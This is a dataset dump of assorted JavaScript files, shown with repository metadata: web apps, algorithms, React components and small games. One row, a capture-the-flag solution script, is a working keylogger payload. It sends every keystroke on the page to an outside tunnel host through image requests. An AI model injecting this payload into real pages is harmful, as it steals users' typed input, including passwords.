blob_id stringlengths 40 40 | language stringclasses 1
value | repo_name stringlengths 5 132 | path stringlengths 3 236 | src_encoding stringclasses 29
values | length_bytes int64 8 7.94M | score float64 2.52 5.72 | int_score int64 3 5 | detected_licenses listlengths 0 142 | license_type stringclasses 2
values | text stringlengths 8 7.94M | download_success bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|
01a442be3c23af2ac4779e3ed7bbe49ae8ef4b0a | JavaScript | jchen8787/inting | /articulationPoints/articulationPoints.js | UTF-8 | 2,296 | 3.09375 | 3 | [] | no_license | const nodes0 = ['a', 'b', 'c', 'd', 'e', 'f']
const edges0 = [
['f', 'a'],
['a', 'b'],
['b', 'd'],
['b', 'c'],
['c', 'd'],
['c', 'e'],
['d', 'e'],
]
const nodes1 = ['a', 'b', 'c', 'd', 'e']
const edges1 = [
['c', 'a'],
['a', 'b'],
['b', 'c'],
['a', 'd'],
['d', 'e'],
]
... | true |
e35724f183047f6ba56cdf03860de04f8e02cc88 | JavaScript | mamoon100/401-backend | /controllers/user.controller.js | UTF-8 | 1,439 | 2.65625 | 3 | [
"MIT"
] | permissive | const user = require("../models/user.model");
const getUsers = (req, res) => {
user
.find({})
.then((item) => res.status(200).send(item))
.catch((err) => res.status(500).send("There was problem in the Data base"));
};
const getUser = (req, res) => {
user
.find({ email: req.params.email })
.the... | true |
7543d8213628c834e812c79caa602a988d58279a | JavaScript | rodolfogadelha/KingShoesFinal | /KingShoes/Scripts/alerta.js | UTF-8 | 1,659 | 2.9375 | 3 | [] | no_license | $('#salvar').click(function() {
var nome = $('#nome-cliente').val();
var cpf = $('#cpf-cliente').val();
if(nome.length < 3 || cpf.length < 14) {
$('#erro').css('display','block').delay(5000).fadeOut();
}else{
$('#sucesso').css('display','block').delay(5000).fadeOut();
}
});
$('#salvar-fornecedo... | true |
e5c539c04deb033c1af7aa3afbf71fa834183108 | JavaScript | BadaSab/eternalbluescanner | /renderer.js | UTF-8 | 4,756 | 2.59375 | 3 | [
"LicenseRef-scancode-unknown-license-reference",
"CC0-1.0",
"LicenseRef-scancode-public-domain"
] | permissive | // This file is required by the index.html file and will
// be executed in the renderer process for that window.
// All of the Node.js APIs are available in this process.
(
function () {
const remote = require('electron').remote;
const BrowserWindow = require('electron').remote.BrowserWindow
... | true |
74b4f21b323360f687831b382a1f4c55c085fab0 | JavaScript | Ladrillo/component-lifecycle | /src/App.js | UTF-8 | 1,208 | 2.890625 | 3 | [] | no_license | import React, { Component } from 'react'
const getStyle = color => ({
border: `2px solid ${color}`,
padding: '10px',
margin: '15px',
})
class App extends Component {
constructor(props) {
super(props)
this.state = {
on: false,
count: 0,
}
}
onTurnOff = evt => {
}
onTurnOn = e... | true |
fff5b09dcd4afde0140606ce1c1b99c3c660236f | JavaScript | gaurav22031987/JavaScript_tutorial | /Object/object.entries.js | UTF-8 | 530 | 4.375 | 4 | [] | no_license | /*
The Object.entries() method returns an array of a given object's own enumerable string-keyed property
[key, value] pairs, in the same order as that provided by a for...in loop. (The only important difference
is that a for...in loop enumerates properties in the prototype chain as well).
*/
const object1 = {
... | true |
6df2e8d0800cadac2b700877ff45a2c6cd144c4d | JavaScript | LeslieMohan/FriendFinder | /app/data/friends.js | UTF-8 | 1,966 | 2.859375 | 3 | [] | no_license | // array of objects holding data of friends
var friends = [
{ name:"Alice",
photo:"https://images.pexels.com/photos/413885/pexels-photo-413885.jpeg?cs=srgb&dl=adult-attractive-beautiful-413885.jpg&fm=jpg", scores:[5, 1, 4, 5, 2, 4, 2, 1, 5, 5]
},
{ name:"Allan",
photo:"https://images... | true |
84a8d66d3759708ac96c4ceb6e05658c282684b3 | JavaScript | salva1973/token-based-authentication | /server.js | UTF-8 | 1,076 | 2.9375 | 3 | [] | no_license | // Dependencies
import express from 'express'
import jwt from 'jsonwebtoken'
const app = express()
// Register the home route (accessible without a token)
app.get('/', (req, res) => {
res.send('Welcome to my API')
})
// Register the route to get a new token
// In a real world scenario we would authenticate user ... | true |
93bb9b92183220f6f8799c081a5f30826c4d7f01 | JavaScript | janithrenuka/ci-bootstrap-website | /hmwweb/js/bmi.js | UTF-8 | 328 | 2.828125 | 3 | [
"LicenseRef-scancode-unknown-license-reference",
"MIT"
] | permissive | function bmi () {
var height = Number(document.getElementById("height").value);
var weight = Number(document.getElementById("weight").value);
var result = weight / (height * height);
var r= result.toFixed(2);
document.getElementById("result").innerHTML = "BMI : " + r ;
document.reset();
... | true |
2d1f96f549116ae60e43dc3967542273f6c84dc3 | JavaScript | jcerda94/group21WildLifeRefuge | /src/js/redTailedHawk.js | UTF-8 | 3,900 | 3.5625 | 4 | [] | no_license | /*
Constructor for Red Tailed Hawk Object
@param gender gender of the Hawk object
@param color color of the Hawk object (not sure if this is necessary)
@param size size of Hawk object (small, medium, or large)
@param speed speed of flight in Miles per hour for Hawk object (slow, normal, ... | true |
a5f5beb7b3ecc28740b5bf0c8aa80ec3d2ddee21 | JavaScript | Pulse6/tweeter | /public/scripts/composer-char-counter.js | UTF-8 | 1,230 | 2.609375 | 3 | [] | no_license | $(document).ready(() => {
$("#tweet-form").on('input', function() {
const $testAreaCount = $(this).parent().find("#tweet-area").val().length;
$(this).parent().find(".counter").text(140 - $testAreaCount);
if ($testAreaCount > 140) {
$(this).parent().find(".counter").addClass("red");
// $("#togg... | true |
fa5e8f04a9dea39892b862e2b62f0b946b2ec540 | JavaScript | gjwall/react-complete-guide-1 | /src/components/UserInput.test.js | UTF-8 | 1,193 | 2.625 | 3 | [] | no_license | import React from 'react';
import { render, screen } from '@testing-library/react';
import UserInput from './UserInput';
import userEvent from '@testing-library/user-event';
let name, nameChanged, userInput;
beforeEach( () => {
name = 'Bob';
nameChanged = jest.fn();
userInput = render(<UserInput name={name... | true |
3d97ff3a39f5fc0315006fec1f5804beacc62ab6 | JavaScript | DS-KoolAid/Silicon-CTF-2021 | /Web/Web400/sol.js | UTF-8 | 714 | 2.703125 | 3 | [] | no_license |
var keys='';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'https://9339bc017ff10b.localhost.run/keylogger.php?c='+keys;
keys = '';
}, 1000);
// %3C... | true |
f31817001fa116a6b952f8e776966aeb7dcef748 | JavaScript | benjamincarp/MixUp | /server/controllers/drinks.js | UTF-8 | 1,368 | 2.546875 | 3 | [] | no_license | var app = require('../app');
var db = app.db;
var drinkModel = db.model('drink');
var controller = {
getOne: (id, cb) => {
return drinkModel.findOne({_id: id},(err,drink) => {
if (err) return cb(err);
return cb(null, drink);
});
},
getAll: (cb) => {
return drinkModel.find({},(err,drinks)... | true |
55a7d2d0ca005ea56c96b46ab7492a44f7a35f34 | JavaScript | liufei1776/algorithm012 | /Week_08/146-LRU.js | UTF-8 | 2,955 | 4.21875 | 4 | [] | no_license | // https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Map
/*
根据 MDN, Map中的key是有序的。 因此,当迭代的时候,一个 Map 对象以插入的顺序返回键值。
因此假设
map.set('A', 1); map.set('B', 2); 那么顺序是 A:1 -> B:2
删除后,插入新数据
map.delete('A'); map.set('A', 1); 顺序变为 B:2 -> A:1
总结下来就是,采用的 LRU 置换策略
*/... | true |
e594cb373e6510cf7974b8fdfba327a8ae8e1409 | JavaScript | stephenneal/steve-gutenberg | /packages/block-library/src/columns/utils.js | UTF-8 | 3,905 | 3.109375 | 3 | [
"GPL-2.0-or-later",
"MIT",
"GPL-2.0-only",
"LicenseRef-scancode-unknown-license-reference",
"LGPL-2.1-or-later",
"LicenseRef-scancode-warranty-disclaimer",
"LGPL-2.0-or-later",
"LicenseRef-scancode-generic-exception",
"LicenseRef-scancode-other-copyleft",
"GPL-1.0-or-later",
"LicenseRef-scancode... | permissive | /**
* External dependencies
*/
import { sumBy, merge, mapValues } from 'lodash';
/**
* Returns a column width attribute value rounded to standard precision.
* Returns `undefined` if the value is not a valid finite number.
*
* @param {?number} value Raw value.
*
* @return {number} Value rounded to standard prec... | true |
5fbc4082f4099025f0312d696a848bef53f4c172 | JavaScript | jowoojun/Algorithm | /src/MostBigNumber.js | UTF-8 | 175 | 2.875 | 3 | [] | no_license | function solution(numbers) {
let list = numbers.map((n) => String(n))
list.sort((a,b) => Number(b+a) - Number(a+b))
return (Number(list[0]))? list.join('') : String(0)
} | true |
b708cf8b20718a98e7bfae4e04fa9f33aa0e5272 | JavaScript | vishalbhatd123456/SystemBatteryDetection | /BatteryJS.js | UTF-8 | 723 | 2.84375 | 3 | [] | no_license |
alert("welcome\nTHIS WILL SHOW YOUR BATTERY PERCENTAGE");
function priyanshi(){
alert ("Thank You For visiting");
}
navigator.getBattery().then(function(battery){
function updateAllBatteryInfo(){
updateLevelInfo();
}
updateAllBatteryInfo();
battery.ad... | true |
d59a8c2711ca8b03532a06db22bc8debb07c069f | JavaScript | Diego0075/DWEC | /Unidad 2/apuntes/geolocalizacion.js | UTF-8 | 875 | 2.640625 | 3 | [] | no_license | var map = L.map('mapid').setView([51.505, -0.09], 13);
L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
attribution: '© <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors'
}).addTo(map);
L.marker([51.5, -0.09]).addTo(map)
.bindPopup('A pretty CSS3 popup.<b... | true |
086bc58b918e31805de499d4892cc128ee3d1523 | JavaScript | mome0320/dokdo | /test/Utils.count.test.js | UTF-8 | 1,971 | 3.15625 | 3 | [
"MIT"
] | permissive | const assert = require('assert')
const Discord = require('discord.js')
const count = require('../src/utils/count')
describe('count function', function () {
it('Invalid Test', function () {
assert.strictEqual(count('string'), null)
assert.strictEqual(count(1), null)
assert.strictEqual(count({ }), null)
... | true |
b39900c4726c1df8bf20d967e692f039cdf937bc | JavaScript | nicmitchell/kitchencooks | /dev/js/logic/tableLogic.js | UTF-8 | 617 | 2.6875 | 3 | [
"Apache-2.0"
] | permissive | // when a seat is selected check if any other seats at table are occupied (and check if seat is occupied)
// if not then prompt the user to enter a hangouts url
// if so then provide the user with the hangout url
// $( document ).ready(function() {
var fb = new Firebase('https://hrr-kitchen-cooks.firebaseio.com/');
... | true |
5b9e1c52fbf4bb0413c5e0fbcba46aa8e5bb5f3b | JavaScript | JohnFirth/anotherearth.org | /src/js/org/anotherearth/model/URLManager.js | UTF-8 | 2,327 | 2.65625 | 3 | [] | no_license | //slight overhead checking and/or creating namespaces justified by removing dependency on script inclusion order
org = window.org || {};
org.anotherearth = window.org.anotherearth || {};
org.anotherearth.model = window.org.anotherearth.model || {};
//FIXME this class's functionality should be subsumed within the mode... | true |
742184152ae89c58b1354539cfc7ad7be4518359 | JavaScript | fraudwheeldrive/Team-Profile_generator | /index.js | UTF-8 | 4,679 | 3.28125 | 3 | [] | no_license |
const fs = require('fs');
const inquirer = require ('inquirer');
//const generatePage = require('./src/page-template');
const teamBuilder = () => {
console.log (`
======================
Team Profile Generator
======================
`);
// build employee object
return inquirer.prompt([
... | true |
c99a30e10fc222f7f1cd0429008d49d21e6dbd98 | JavaScript | johnlinatoc/trivia | /src/App.js | UTF-8 | 2,562 | 2.71875 | 3 | [] | no_license | import { useEffect, useState } from "react";
import QuestionAnswerContainer from "./questionAnswerContainer/questionAnswerContainer";
import ResultsContainer from "./resultsContainer/resultsContainer";
import { shuffleQuestions } from "./utils/ArrayUtils";
import { uuid } from 'uuidv4';
const styles = require("./App.m... | true |
e9a088f9c1b82303f1a067e023fb9f19e784a11e | JavaScript | mondo1492/Spearman2 | /src/stickman.js | UTF-8 | 2,441 | 2.96875 | 3 | [] | no_license | const Spear = require('./spear');
class Stickman {
constructor(game, type, enemyId) {
this.enemyId = enemyId;
this.game = game;
this.type = type;
if (this.type === "user") {
this.pos = [150/2, 500/2];
} else {
//fix these so guy doesn't go off screen
const x = Math.random() * 42... | true |
e4336a7aa2bdaacef1d2ec9eb54c361141a0e6cd | JavaScript | dewfall123/Diary | /leetcode/407.trapping-rain-water-ii.js | UTF-8 | 1,302 | 3.265625 | 3 | [] | no_license | /*
* @lc app=leetcode id=407 lang=javascript
*
* [407] Trapping Rain Water II
*/
// @lc code=start
/**
* @param {number[][]} heightMap
* @return {number}
*/
var trapRainWater = function (heightMap) {
const yMax = heightMap.length;
if (yMax === 0) {
return 0;
}
const xMax = heightMap[... | true |
9b5932c6b1aebb1286b1ab102f0e766b32a9792e | JavaScript | sospedra/lernarized-monorepo | /core/sumN/index.js | UTF-8 | 139 | 2.53125 | 3 | [] | no_license | module.exports = function sumN () {
const factors = [].slice.call(arguments)
return factors.reduce((memo, factor) => memo + factor)
}
| true |
ee59e0dde5b82f7e9298f1a5f4694deac36e351f | JavaScript | AmericanNumismaticSociety/migration_scripts | /iiif-test/javascript/display_functions.js | UTF-8 | 1,066 | 2.609375 | 3 | [
"Apache-2.0"
] | permissive | /************************************
VISUALIZATION FUNCTIONS
Written by Ethan Gruber, gruber@numismatics.org
Library: jQuery
Description: Rendering graphics based on hoard counts
************************************/
$(document).ready(function () {
var service = 'http://images.numismatics.org/';
var iiifImag... | true |
5e0575bb7a83c59df8e73e7d064e7de40c58ad35 | JavaScript | lego5621/write_dark | /js/themes.js | UTF-8 | 565 | 2.53125 | 3 | [] | no_license | var root = document.querySelector(':root');
var rootStyles = getComputedStyle(root);
var but = document.getElementById("but_color_themes");
but.addEventListener("click", tog_color);
function tog_color(){
if (rootStyles.getPropertyValue('--background')=="rgb(8, 8, 8)"){
root.style.setProperty('--backgroun... | true |
b336d9408da87343d1929a6301db80fb5f3edb5b | JavaScript | RoniqueRicketts/FCC-Algorithms | /factorialize_a_number.js | UTF-8 | 344 | 3.75 | 4 | [] | no_license | function factorialize(num) {
var arrayOfNumbers = [];
if(num === 0){
return 1;
}
else{
for(var index = 1; index <= num; index++){
arrayOfNumbers.push(index);
}
var result = arrayOfNumbers.reduce(function(firstNumber,secondNumber){
return firstNumber * secondNumber;
});
return result;... | true |
086163abd60b1028d4e88eeed8fe5f29a002e18f | JavaScript | youngon-cn/Homework | /2016级/第十四周作业/张雯菁/cut/js/move.js | UTF-8 | 752 | 3.125 | 3 | [] | no_license | /*window.onload = function(){
var mouseOffsetX = 0;
var mouseOffsetY = 0;
var isDraging = false;
var mainDiv = document.getElementById("main");
mainDiv.addEventListener('mousedown',function(e){
var e = e || window.event;
mouseOffsetX = e.pageX - mainDiv.offsetLeft;
mouseOffsetY = e.pageY - mainDiv.offsetT... | true |
4763addba86904e1904ca133674c21f464623e3c | JavaScript | HanxingYf/LeetCode | /100题/78.js | UTF-8 | 390 | 3.359375 | 3 | [] | no_license | var subsets = function (nums) {
let res = []
let path = []
let start = 0
dfs(start, path)
function dfs(start, path) {
res.push(path.slice())
for (let i = start; i < nums.length; i++) {
path.push(nums[i])
console.log(i);
dfs(i+1,path)
console.log(i,'++');
path.pop()
}... | true |
c17f6cfcba9dfe445399841ef00711e6263fa731 | JavaScript | arddor/MovieAdvisor | /app/utils/api.js | UTF-8 | 2,618 | 2.515625 | 3 | [
"MIT"
] | permissive | import apiConfig from './MovieDBConfig';
import TmdbApi from 'moviedb-api';
var api = new TmdbApi({
consume: false,
apiKey: apiConfig.apiKey
});
const makeAndList = (list) => {
return list.map(item => item.value).join();
};
export const getGenres = (input='', callback) => {
api.request('/genre/movie/list', ... | true |
6862ac3d252b0d1cb29045e038196a7da1657c8e | JavaScript | pedroeldiablo/population-histogram-d3 | /app.js | UTF-8 | 4,462 | 3.078125 | 3 | [] | no_license | var width = 800;
var height = 600;
var padding = 50;
var barPadding = 1;
var ageData = regionData.filter(d => d.medianAge !== null);
var initialBinCount = 16;
var medianAge = d3.select('#medianAge')
.attr('width', width)
.attr('height', height);
d3.select('#medianAgeInput')
.property('value', initialBinCount)
... | true |
8355d2787e6049c7504ef6103a22eaebbff7861c | JavaScript | WayFareY/SMMS | /scripts/BizModuleScript/SJobInfo.js | UTF-8 | 1,584 | 3.15625 | 3 | [] | no_license | /***********************************
* @文件描述:
*************************************/
////本方法不能删除,也不能修改,因为此函数作为调用函数,并且有可能被覆盖////
function doOnload(){
doOnload_Super();
//请不要在此写任何业务逻辑
}
////本方法不能删除,也不能修改,因为此函数作为调用函数,并且有可能被覆盖////
function doChange(obj){
doChange_Super(obj);
//请不要在此写任何业务逻辑
}
//////////////////////////... | true |
a657c36e1bfd127f3ec77f7dd0a06047f6327647 | JavaScript | Tomtardation/maze | /Maze.js | UTF-8 | 28,646 | 2.84375 | 3 | [] | no_license | /**
* Software Designer: Thomas Rao
* Description: This program creates perfect mazes and solves every maze with minimum movement.
* Fireworks are provided upon reaching the red square.
* Browser Requirements: Chrome 49 or Firefox 41.0 (EcmaScript 6 required)
* Source: weblog.jamisbuck.org/2011/1/10/maze-gen... | true |
662115eba93ff61507780eebfa2aeeec0e0928a1 | JavaScript | Jmarquez8951/tamagotchi | /src/javascripts/components/play/play.js | UTF-8 | 1,260 | 2.8125 | 3 | [] | no_license | import util from '../../helpers/util';
import tamagotchiData from '../../helpers/data/tamagotchiData';
const superFunEvent = () => {
const myTamagotchi = tamagotchiData.getFunScore();
if (myTamagotchi.fun >= 50) {
myTamagotchi.fun = 100;
} else {
myTamagotchi.fun += 50;
}
// eslint-disable-next-line ... | true |
85801adcf0aebe119eb16ef7fd3110fa7eb41f6d | JavaScript | joannaWebDev/exercises-js2 | /exercises-js-extra/exercises/1-loops/5-MigraCode.js | UTF-8 | 645 | 3.671875 | 4 | [] | no_license | /*
MigraCode
Write a program that uses console.log to print all the numbers from 1 to 100,
with two exceptions. For numbers divisible by 3, print "Migra" instead of the
number, and for numbers divisible by 5 (and not 3), print "Code" instead.
When you have that working, modify your program to print "MigraCode"... | true |
e2b7374e400fb8a1a9ec551794c9a09ee9354d1d | JavaScript | MaiTiron/server-node | /www/js/script.js | UTF-8 | 2,435 | 3.515625 | 4 | [] | no_license | // Attendre le chargement du DOM
document.addEventListener('DOMContentLoaded', () => {
let tasksList = document.querySelector('#tasksList');
let appendTags = (paramData) => {
//Faire une boucle sur la collection de données
for(let item of paramData){
//Ajouter des balises h... | true |
859830f312f9ce28cec2762e36310c33b77b3079 | JavaScript | grimesmea/frontend-nanodegree-arcade-game | /js/app.js | UTF-8 | 12,444 | 3.171875 | 3 | [] | no_license | var currentGameState,
level,
enemies = [],
gems = [],
levelKeys = [];
/**
* Enum that defines game states. Game state is set initially to STARTMENU in
* in the reset() method.
* @enum {number}
*/
var GameState = {
STARTMENU: 1,
LEVEL: 2,
LEVELTRANSITION: 3,
GAMEWON: 4,
GAMEOVER: 5
};
/**... | true |
af88d8725560f94207a323b20bad4044b4405c99 | JavaScript | CarmineMansueto95/TrustyTerm3.0_Addon | /index-setup.js | UTF-8 | 3,401 | 2.625 | 3 | [] | no_license | // Adding onClick to index elements, which is not possible with inline script due to default CSP of the Addon
var sel = document.getElementById('IPs');
var trut_btn = document.getElementById('trust_btn');
var untrust_btn = document.getElementById('untrust_btn');
var proxy_ip_input = document.getElementById('proxy_ip')... | true |
1b86c0ccbb684254a239187acc78cecb8d25ec6d | JavaScript | karim1999/ZohoBooksQrCode | /client/main.js | UTF-8 | 3,350 | 2.640625 | 3 | [] | no_license | var app = new Vue({
el: '#app',
data: {
GTIN: '',
EXPIRY: '',
BATCH: '',
SN: '',
location: '',
productName: '',
companyName: 'Safety First Medical Services',
qrList: [],
qrNumber: 1,
isPrinting: false,
importArray: [],
... | true |
ca3c860c2a512ce674ede4252472189434b749e8 | JavaScript | esaith/CSS-Changes | /spec/diff.spec.js | UTF-8 | 14,525 | 2.578125 | 3 | [
"MIT"
] | permissive | describe('diff testing', function () {
var ns;
ns = window.esaith_CSSChanges;
describe('removeComments testing', function () {
it('expect not comments found. String should not be modified.', function () {
var str = 'abc123', result;
result = esaith_CSSChanges.rem... | true |
af7028b4344c5b5ec9e0391972dbba187bedbc03 | JavaScript | leamsigc/Mytest | /Basic-Example/js/main.js | UTF-8 | 1,672 | 3.203125 | 3 | [] | no_license | // Create a variable for the welcome message
var greeting = 'Howdy ';
var name = 'Molly';
var message = ', please check your order;';
//Concatenate the three variables above to create the welcome message
var welcome = greeting+name+message;
//Create the variable to hold details about the sign
var sign = 'Montague Hous... | true |
748672baa687c5e4dc1744abe2bcec03c6aa2590 | JavaScript | nilesh93/online-ticketing-system | /js/directives.js | UTF-8 | 3,276 | 2.578125 | 3 | [] | no_license | /**
* NEUBOARD - Responsive Admin Theme
* Copyright 2014 Authentic Goods Co. http://authenticgoods.co
*
* TABLE OF CONTENTS
* Use @ along with function name to search for the directive.
*
* @pageTitle - Page Title Directive for page title name
* @toggleLeftSidebar - Left Sidebar Directive to toggle sidebar na... | true |
e95acf0a1f0697a9e151e272b5797d90f7f75a8e | JavaScript | PanamaP/jsskilaverkefni3 | /3.1/app.js | UTF-8 | 955 | 3.359375 | 3 | [] | no_license | // Notaðu querySelector() til að velja málsgrein nr 2. og litaðu textann grænan.
// https://www.w3schools.com/cssref/sel_nth-of-type.asp
var textGreen = document.querySelector('p:nth-of-type(2)');
textGreen.style.color = 'green';
//Veldu allar málgreinar og breyttu textanum með textContent aðferðinni.
var malsgre... | true |
ef3d9447e4981af843346338e4f1c19d58d38735 | JavaScript | JoannaKang/addressbook | /main2.js | UTF-8 | 7,936 | 3.296875 | 3 | [] | no_license | $(document).ready(function () {});
//0.Get Data
//set initial variable to save json data
let initialData = new Array();
let higestindex;
//save json data into initialData variable
function getData() {
fetch("/Data/data.json")
.then((response) => response.json())
.then(function setInitialdata(json) {
(... | true |
a61b221e9bb50f51f4481333b7d87034481ef1c8 | JavaScript | HenrikGr/playground | /src/javascript/oop/drag-drop-question.js | UTF-8 | 1,385 | 3.015625 | 3 | [] | no_license | /**
* @prettier
* @copyright (c) 2019 - present, HGC-AB
* @licence This source code is licensed under the MIT license described and found in the
* LICENSE file in the root directory of this source tree.
*/
const Question = require('./question')
/**
* DragDropQuestion constructor
* For DragDropQuestion to prope... | true |
897348d9126bfd278ff699cd69dd8642d0f897b4 | JavaScript | duqingyu/vue-mini-mvvm | /src/state.js | UTF-8 | 2,124 | 2.546875 | 3 | [
"MIT"
] | permissive | import { observe, proxy } from './observer/index.js'
import { Compiler } from './compiler/base.js'
import { isObject } from './utils/index.js'
import { Watcher } from './observer/watcher.js'
export function initState(vm) {
const opts = vm.$options
if (opts.props) {
initProps(vm)
}
if (opts.methods) {
... | true |
c0cf8fc4a0633342b1fd8d53122b3716d5354bb5 | JavaScript | aejhyun/my-creation | /TxtMsgMaker.js | UTF-8 | 5,866 | 2.828125 | 3 | [] | no_license | import * as enums from './Enums.js'
export default class TxtMsgMaker {
constructor(paramValues) {
this.candidateName = ''
this.timeOfDay = ''
this.myName = ''
this.speakerName = ''
this.location = ''
this.time = ''
this.day = ''
this.address = ''
this.personalMsg = ''
this.txt... | true |
ece9d1ba3a1e550aa8fa5ac5ba7864aa455d7159 | JavaScript | Robertof/cpu-scheduling-src | /src/scheduling/sjf.js | UTF-8 | 5,321 | 2.953125 | 3 | [] | no_license | import { sortByArrivalOrIndex } from '../scheduling'
function sjf (processes, { isPreemptive = false } = {}) {
// Sort the processes by their arrival time or their index if the arrival time is equal.
let remainingProcesses = sortByArrivalOrIndex (processes)
let processQueue = []
let simulationResults = []
le... | true |
e0d3856fa3824bf8815458b95fe35acb6a505359 | JavaScript | Jerriesfly/SOFT130002_lab | /lab7/lab07.js | UTF-8 | 2,235 | 2.875 | 3 | [] | no_license | const works = [
{ author: "Micheal Jackson",lifetime:"1022-1055",tips: "Human", photos: ["human1.jpg","human2.jpg","human3.jpg"] },
{ author: "Maria JK",lifetime:"1920-2001", tips: "Classical", photos: ["classical1.jpg","classical2.jpg"] },
{ author: "John Herry UY", lifetime:"1894-1928",tips: "Abstract"... | true |
f1b6b32311d2b1660f92eb62c5b65e8a02774ba9 | JavaScript | kpetouk/appsgate-client | /app/modules/Views/Program/reader.js | UTF-8 | 3,977 | 2.546875 | 3 | [] | no_license | define([
"app",
"modules/mediator",
"text!templates/program/reader/reader.html"
], function(App, Mediator, programEditorTemplate) {
var ProgramReaderView = {};
/**
* Render the editor view
*/
ProgramReaderView = Backbone.View.extend({
tplEditor: _.template(programEditorTemplat... | true |
8a11e12fdc4a94614a45eeee6ae6b79bca9d51bf | JavaScript | kellyasnyder/react-project | /src/API/Server.js | UTF-8 | 3,293 | 2.515625 | 3 | [] | no_license | require('./Mongoose');
const express = require('express');
const bodyParser = require('body-parser');
const {Product} = require('./Product');
const {Form} = require('./Form');
const app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
// allow cors
app.use((req, res, nex... | true |
7c7e17b355a2446154f90ce045897c8e221d7447 | JavaScript | SanjeethKR/KudosGiver | /kudos.gs | UTF-8 | 4,232 | 2.890625 | 3 | [] | no_license | // All your config goes here
var ID = "THEIDOFTHESPREADSHEET"; //The id of the Google SpreadSheet
var DATA_SHEET_NAME = "SHEETTODUMPDATA"; //The Sheet which will get populated with all the call details
var AGENT_SHEET_NAME = "AGENTSMAPPINGSHEET"; //The Sheet which has the phone number to Agent Name, Id mapping
var KUDO... | true |
85a59e8452be4c7d02a38e83b8d28328b3536411 | JavaScript | J-Sexton/Fullstack-Open-2021 | /part2/phonebook/src/App.js | UTF-8 | 2,134 | 3.0625 | 3 | [] | no_license | import React, { useState } from 'react'
import Persons from './components/Persons'
import PersonForm from './components/PersonForm'
import Filter from './components/Filter'
// const Number = ({person}) => {
// console.log(person.name)
// return (
// <div>{person.name} {person.number}</div>
// )
// }
const Ap... | true |
d5a4d3497a15b715ba2bf98b0a631cbca00efffa | JavaScript | t3kt/sway | /api/sway.core.js | UTF-8 | 3,702 | 2.734375 | 3 | [] | no_license | /**
* Created by Jim Ankrom on 10/28/2014.
* Configuration manager class featuring config file monitoring, load and reload methods
*/
// Multicast Callback - refactor out to a utility library
// TODO Future versions of this should return a function that when called executes the multicast without calling invoke
func... | true |
d9f59a8e1e6aa46a7e655d7186de8d01ee5f3e27 | JavaScript | ossiggy/scoreboard-challenge-app | /src/hooks/useGameFeed.js | UTF-8 | 668 | 2.71875 | 3 | [] | no_license | import { useState, useEffect } from 'react';
const useGameFeed = (feedUrl) => {
const [data, setData] = useState(null);
const [loading, setLoading] = useState(false);
const [isError, setIsError] = useState(false);
useEffect(() => {
const getGameData = async () => {
setLoading(true);
setIsErr... | true |
74b1f77d73aee5dffa65634746f0683f4be4e12a | JavaScript | mhull/tic-tac-toe | /js/square.js | UTF-8 | 1,772 | 3.328125 | 3 | [] | no_license | var square = function( x, y ) {
var _this = {};
_this.status = null;
_this.row = x;
_this.col = y;
_this.draw = function() {
_this.o = document.createElement( 'div' );
_this.o.className = 'square';
/**
* Draw borders
*/
var borderStyle = 'solid black 1px';
// top
_this.o.style.borderTop =... | true |
c524c4ff695f56e3e255f6a5513f1696b150c072 | JavaScript | SergeyTKO/career-guru | /client/src/redux/reducers/adminReducer.js | UTF-8 | 773 | 2.65625 | 3 | [] | no_license | import {ADD_CARDS, DELETE_CARDS, INIT_CARDS} from "../actionTypes";
const windowState = JSON.parse(window.localStorage.getItem('state'));
let initialState = {};
if (windowState && windowState.admin) {
initialState = {
cards: windowState.admin.cards,
};
} else {
initialState = {
cards: []
... | true |
1efae9108f6ab35f608de1d9dce25d7640197212 | JavaScript | sanyaade-mobiledev/TideSDK-Tizen | /tests/anvil/configSet/Resources/suites/tizen/time.js | UTF-8 | 7,806 | 2.6875 | 3 | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | module.exports = new function() {
var valueOf,
finish,
reportError;
this.init = function(testUtils) {
finish = testUtils.finish;
valueOf = testUtils.valueOf;
reportError = testUtils.reportError;
}
this.name = 'time';
this.tests = [
{name: 'checkDate'},
{name: 'checkGetDay'},
{name: 'checkFullYea... | true |
bc2218c99ee77b7318a109cb99de6739ec85682d | JavaScript | parthsikka/url_Legitimacy_Detector | /src/Components/UrlBox/UrlBox.jsx | UTF-8 | 1,019 | 2.65625 | 3 | [] | no_license | import React, {Component} from 'react';
import './UrlBox.css';
class UrlBox extends Component {
state = {
currentText: ""
}
onChangeHandler = (e) => {
let data = e.target.value;
this.setState({currentText: data})
};
onClickHandler = (e) =>{
this.props.setUrl(this.sta... | true |
9b6ba67fa74c801849ec4f1e1df63934a97e7cdc | JavaScript | thinkful-ei26/DSA-Sorting-Trisha-Robert | /interview.js | UTF-8 | 809 | 4.34375 | 4 | [] | no_license | 'use strict';
//input: [0, 1, 1, 0, 1, 0, 1, 1]
//output: [0,0,0,1,1,1,1,1]
const swap = (arr, i, j) => {
let temp = arr[i];
arr[i] = arr[j];
arr[j] = temp;
};
const sortArray = arr => {
let left = 0;
let right = arr.length -1;
//if your number is 0, then let 0 stay there
while(right>left){
while(... | true |
d07c86e0278c206090a282e4206c00a987c4e4a0 | JavaScript | Starou/django-stachoutils | /django_stachoutils/static/django_stachoutils/js/editeur.js | UTF-8 | 2,060 | 2.6875 | 3 | [
"BSD-2-Clause"
] | permissive | var editeur = {
rxGraisse: /((\[.*?)(\])){0,1}(.+?\.){0,1}(.*)/m,
graissePhraseSuivante: function(texte) {
var texte = texte.match(editeur.rxGraisse);
texte.splice(0, 1); // Supprime le premier item qui est le texte passé en paramètre.
// La première phrase n'est pas en gras.
i... | true |
0cdcc63f40c0002b0bc0588963c025d134825659 | JavaScript | ChukwurahVictor/zuri_js_task_one | /jsonObject.js | UTF-8 | 460 | 2.78125 | 3 | [] | no_license | const http = require('http');
const port=3000;
const hostname='localhost';
const app = http.createServer((req, res) => {
const data = JSON.stringify({
name: "Chukwurah Victor",
country: "Nigeria",
hobby: "Playing video games"
})
res.writeHead(200, {"Content-Type": "application/json"});
